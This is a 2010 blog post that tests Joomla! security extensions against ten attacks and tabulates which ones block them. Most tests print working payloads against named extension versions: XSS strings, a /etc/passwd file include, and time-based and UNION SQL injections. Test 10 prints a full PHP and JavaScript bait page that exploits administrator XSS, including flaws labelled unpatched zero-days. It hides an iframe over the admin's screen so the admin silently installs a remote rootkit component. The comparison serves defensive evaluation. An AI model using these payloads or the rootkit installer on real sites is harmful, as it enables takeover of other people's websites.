jeffchannell.com

2010 Joomla! Security Extension Comparison

2010-12-20 05:00:00 +0000 UTC

After having a couple different people ask me which Joomla! security extension I recommend, and having no real answer, I figured the best way was to simply try each one against various security risks and see which vectors are detected. This test should not be considered conclusive, and is not meant to endorse or defame any particular extension.

Tests

Many of the tests were devised from vulnerabilities that I have personally discovered, mostly due to me still having the old vulnerable versions lingering in my Downloads folder. Some are derived from other researchers' work, most notably YEHG (their double-nibble core reflective XSS became one of the tests). I even included a test with an undisclosed, unpatched vulnerability, in case any of the solutions were basing their scanning technique on known vulnerabilities or blacklists.

  1. Malicious User-Agent
  2. Persistent XSS
  3. Persistent XSS via BBCode
  4. Reflective XSS
  5. File Inclusion
  6. PHP File Upload
  7. SQL Injection
  8. SQL Injection via URI
  9. Cross-site Request Forgery
  10. Rootkit install via XSS/CSRF

Final Results

Environment

Since the purpose of this exercise is to test each extension, and not the site as a whole, I intentionally installed insecure extensions on an unpatched Joomla! 1.5.18 with all defaults left intact. It should be noted that alerts to upgrade or change the defaults from any security extensions involved were ignored for the purposes of this test, and unless changed by the extension the core .htaccess rules were used. PHP was configured with register globals off, magic quotes on, and no open_basedir, mod_security or anything of the sort.* Some extensions** were retested either after anomalous results or by request.

SecureLive requires a "live" site, thus my at-home sandboxed virtualized test environment couldn't be used. A comparable live server was used instead, using similar configurations.

** Anti-Hacker was not configured properly during initial tests; Admin Tools Pro and SecureLive requested retesting.

Contenders

The following security extensions were chosen from both the JED and a few different Google searches, listed in alphabetical order:

Please Note: all extension descriptions taken from the vendors' respective web sites and/or their JED listing.


Test 1: Malicious User Agent

Embedding code in the User Agent is one notable tactic used in conjunction with file include vulnerabilities, as Linux-based webservers may echo back the User Agent via /proc/self/environ. This wasn't a test on any particular weakness, just a test to see what each solution would do if it encountered a User Agent laced with code:

<?php echo phpinfo(); ?>'"<h1>

Results:


Test 2: Persistent XSS via K2 v2.3

Okay, Test 1 is based on a hypothetical. Let's get into some "real" tests.

Test 2 is designed to test XSS filtering. Since it's easy to test for < to detect HTML markup, I figured I'd have to be a little more creative than using <script> tags (especially since this is likely the most common method of detecting XSS).

For this test I turned to an XSS vector that is based on partial tags that was discovered in K2 version 2.3. Using "website" field of the K2 comment form (as an anonymous user):

" style="position:absolute;top:0px;left:0px;width:99em;height:99em" onmouseover="location.href=String.fromCharCode(104,116,116,112,58,47,47,106,101,102,102,99,104, 97,110,110,101,108,108,46,99,111,109)

Results:


Test 3: Persistent XSS via BBCode

This test involves an unpatched, unpublished vulnerability in a popular extension that supports BBCode. I'll leave it as an exercise to the reader to discover which extension I used.*

[img]http://j.png?x'/oNeRrOr="/* [/img] eval( */ eval( String.fromCharCode( 97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41 /*)*/ ) ) //">

* Those interested in more details can contact me privately.

Results:


Test 4: Reflective XSS via Core

As disclosed by YEHG:

index.php?option=com_content&view=article&id=26&Itemid=40&%%32%32%%33%65%%33%63%%37%33%%36%33%%37%32%%36%39%%37%30%%37%34%%33%65%%36%31%%36%63%%36%35%%37%32%%37%34%%32%38%%32%66%%35%38%%35%33%%35%33%%32%66%%32%39%%33%63%%32%66%%37%33%%36%33%%37%32%%36%39%%37%30%%37%34%%33%65=%%32%32%%33%65%%33%63%%37%33%%36%33%%37%32%%36%39%%37%30%%37%34%%33%65%%36%31%%36%63%%36%35%%37%32%%37%34%%32%38%%32%66%%35%38%%35%33%%35%33%%32%66%%32%39%%33%63%%32%66%%37%33%%36%33%%37%32%%36%39%%37%30%%37%34%%33%65

Results:


Test 5: File Inclusion

In February of this year, it was discovered that the "Hello World" component tutorial suffered from a Local File Include vulnerability. Furthermore, although the text of the tutorial was changed, the corresponding downloadable sources remained vulnerable for an additional 6 months.

This file inclusion provided by AceVersions 1.0.1:

?option=com_aceversions&view=../../../../../../../../../../../etc/passwd%00

Results:


Test 6: PHP File Upload

Mosets Tree v2.1.5 and below allowed php code to be uploaded via the listings image field. The point behind this test is not to upload any particular PHP file (like a known shell, e.g., c99), but rather to test if each solution detects the upload of PHP files.

Using this method and the following simple code as a payload:

<?php echo phpinfo(); ?><script>alert(1)</script>

Results:


Test 7: SQL Injection

This exercise is not intended for extracting data (as it would be in real life), just testing if the injection is allowed through.

Again, AceVersions 1.0.1, using Blind SQL Injection:

?option=com_aceversions&view=category&catid=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 -- 

Results:


Test 8: SQL Injection

A number of 3rd party SEF extensions were recently found to be vulnerable to Blind SQL Injection via specially crafted URLs. These vulnerabilities are interesting as they bypass the traditional _REQUEST.

AceSEF 1.5.8 suffered from this injection:

http://target/1')and(if((select(username)from(jos_users)where(gid)like(25))like(0x61646d696e),benchmark(5000000,md5(1)),1)--'

Results:


Test 9: CSRF

CSRF might very well be the hardest attack vector to protect against in cases where extensions do not use Joomla!'s core anti-CSRF tokens (or any other type of nonce). Using this example, by using a form of spear phishing (you know, throwing laced links to admins, hoping to "hit") it's possible to write arbitrary php code to unpatched Mosets Tree installs.

This is one test that I didn't expect many solutions to properly detect - it can be difficult to differentiate between a truly authenticated request and one that is being spoofed in this manner.

Note: I'm giving Admin Tools Pro the benefit of the doubt here - in this particular case, these files could be loaded via other means by the extension itself (so direct access is not absolutely necessary).

Results:


Test 10: Malicious XSS to Install a Simple Rootkit

There are tons of extensions vulnerable to reflective XSS in the Administrator interface - the Joomla! Core was even vulnerable for quite a while. What follows is a method to gain Administrator access by duping an unsuspecting admin into opening a link while logged in.

Here's the bait code:

<?php
/**
 * system
 * (k) 2010
 * admin "search" xss bait code
 *
 * post a link to this script somewhere on the site
 * when this page is loaded the referrer is probed for vulnerable components
 * if one is found the attack is loaded into an iframe
 * when the page is loaded the iframe is shown across the whole browser window
 * if admin is logged in, visits your link & mouses over the page just once... win!
 * added bonus if admin has html5 capabilities (yay autofocus/onfocus)
 */
$redirect = 'http://google.com'; // where to go in x seconds
$timeout = 8000; // ms
$system_path = 'http://127.0.0.1/root/system.zip'; // path to com_system rootkit
$r = false; $r = 'http://127.0.0.1/sec2010/index.php'; // set to false to use referrer
$go = false; // if probing later is a success this will be true
$url = ''; // iframe url
if (false == $r) {
	$r = @$_SERVER['HTTP_REFERER']; // get referrer
}
if (!$r) die(); // no referrer
$r = parse_url($r); // parse url
if (!is_array($r)) die(); // not an array? must not have parsed correctly
$target = sprintf(
	"%s://%s%s",
	$r['scheme'],
	$r['host'],
	preg_replace(array('`\\/?administrator`', '`index\\.php`'), '', $r['path'])
);
// list of components/admin xss
$exploits = array(
	'joomgallery' => 'controller=categories&search=x', // 0day DAY 1
	'phocadownload' => 'view=phocadownloads&search=x', // 0day DAY 2
	'redirect' => 'view=links&filter_search=x', // 0day DAY 3
	'fabrik' => 'c=table&filter_table=x', // 0day DAY 4
	// patched
	'k2' => 'view=items&search=x', // fixed ?
	'community' => 'view=events&search=x', // jomsocial <= 1.8.8
	'comprofiler' => 'task=showField&search=x' // < 1.3.0
);
// event triggers
$triggers = array(
	// html5
	'%22%2fautofocus%2f%2f%2fonfocus%3D%22',
	// hoverjack
	'%22%2fstyle%3d%22position%3Aabsolute%3Btop%3A0px%3Bleft%3A0px%3Bwidth%3A999em%3Bheight%3A999em%3Bz-index%3A99999%22%2fonmouseover%3D%22'
);
// javascript code for installing rootkit
// most (all?) require js code to be in all lower case (damn)
$script = preg_replace(array('`\\+`Di', '`\\%0[9A]`'), array('%20', ''), urlencode(<<<EOF
(function(){eval('(function(){
	if(document.get\\u0045lement\\u0042y\\u0049d(\\'systemxss\\'))return;
	var x=false,r=/administrator/,i=document.create\\u0045lement(\\'iframe\\');
	if(r.test(location.href)){
		i.src=\\'index.php?option=com_installer\\';
		i.set\\u0041ttribute(\\'id\\',\\'systemxss\\');
		i.set\\u0053tyle(\\'display\\',\\'none\\');
		document.body.append\\u0043hild(i);
		i.add\\u0045vent(\\'load\\',function(e){
			if(x){return;}x=true;
			var d=e.target.content\\u0044ocument;
			if(!d){return;}
			var inp=d.get\\u0045lement\\u0042y\\u0049d(\\'install_url\\');
			inp.value=\\'{$system_path}\\';
			try{
				var b=inp.parent\\u004eode.get\\u0045lements\\u0042y\\u0054ag\\u004eame(\\'input\\')[1];
				b.onclick();
			}
			catch(er){}
		});
	}
})();')})();
EOF
));
// if specific exploit is called, use it
// otherwise try to autodetect
$pattern = "%sadministrator/index.php?option=com_%s&%s%s";
$com = @$_REQUEST['com'];
$go = true;
if (isset($exploits[$com])) {
	$vector = $exploits[$com];
	$url = sprintf($pattern, $target, $com, $vector, $triggers[0].$script.$triggers[1].$script);
}
else {
	$go = false;
	// loop exploits
	foreach ($exploits as $com => $vector) {
		if (false !== @fopen("{$target}components/com_{$com}/{$com}.php", "r")) {
			$url = sprintf($pattern, $target, $com, $vector, $triggers[0].$script.$triggers[1].$script);
			$go = true;
			break;
		}
	}
}
if ('core' == @$_REQUEST['com'] || !$go) {
	// try to load up a known core search xss - yehg
	$com = 'admin';
	$vector = 'task=help&helpsearch=x';
	$url = sprintf($pattern, $target, $com, $vector, $triggers[0].$script.$triggers[1].$script);
}
?><html>
<head>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js"></script>
<style>
div{position:absolute;top:0px;left:0px;z-index:99999;display:none}
body,div{margin:0;padding:0;overflow:hidden}
body,div,iframe{width:100%;height:100%;border:0px}
</style>
</head>
<body>
<div><iframe src="<?php echo $url; ?>"></iframe></div>
<script type="text/javascript">
(function($){$(document).ready(function(){
	$('div').css({opacity:0.01}).css({display:'block'});
	setTimeout(function(){window.top.location.href="<?php echo $redirect; ?>";}, <?php echo $timeout; ?>);
});})(jQuery);
</script>
</body>
</html>

The file referenced above, "system.zip," is a simple Joomla! Component installer that installs a simple authentication plugin that allows an attacker to take further control of the site. Expect sources for this to pop up sometime in the near future.

Results:


Final Results

Test 1 Test 2 Test 3 Test 4 Test 5 Test 6 Test 7 Test 8 Test 9 Test 10 Total
Total 2 2 3 4 5 2 7 1 1 3  
Admin Tools Pro1 failed failed failed failed failed failed passed failed passed2 passed3 3
Anti-Hacker failed passed passed failed passed failed passed failed failed failed 4
Biziant Sentry passed failed failed failed passed failed passed passed failed failed 4
jFireWall failed failed failed passed failed failed passed failed failed failed 2
jHackGuard failed failed passed passed passed failed passed failed failed failed 4
Mighty Defender failed failed failed failed passed passed passed4 failed failed failed 3
NinjaSecurity failed failed failed failed failed failed passed failed failed failed 1
RSFirewall! passed passed passed passed failed passed failed failed failed passed 6
SecureLive failed failed failed passed passed failed failed failed failed passed 3

Notes:

  1. Security tools are secondary in Admin Tools Pro - thus this solution fails tests that it was not designed to prevent in the first place (namely, XSS).
  2. Admin Tools Pro is getting the benefit of the doubt on this one.
  3. Admin Tools Pro must be configured to lock down com_installer to pass this test.
  4. Default SQL Injection rules did not block attack - reconfigured rules prevents attack.

Conclusion

I think it's readily apparent at this point that no extension passed this test 100%, though I didn't really help things by using known-insecure extensions and an out of date Joomla! install. That said, I figured it was important to note a few things:

Hopefully, this exercise has brought some attention to areas where each extension can improve in order for the Joomla! community to become safer than before. I'm planning on doing this again next year, so only time will tell...

Get dedicated hosting at Network Solutions!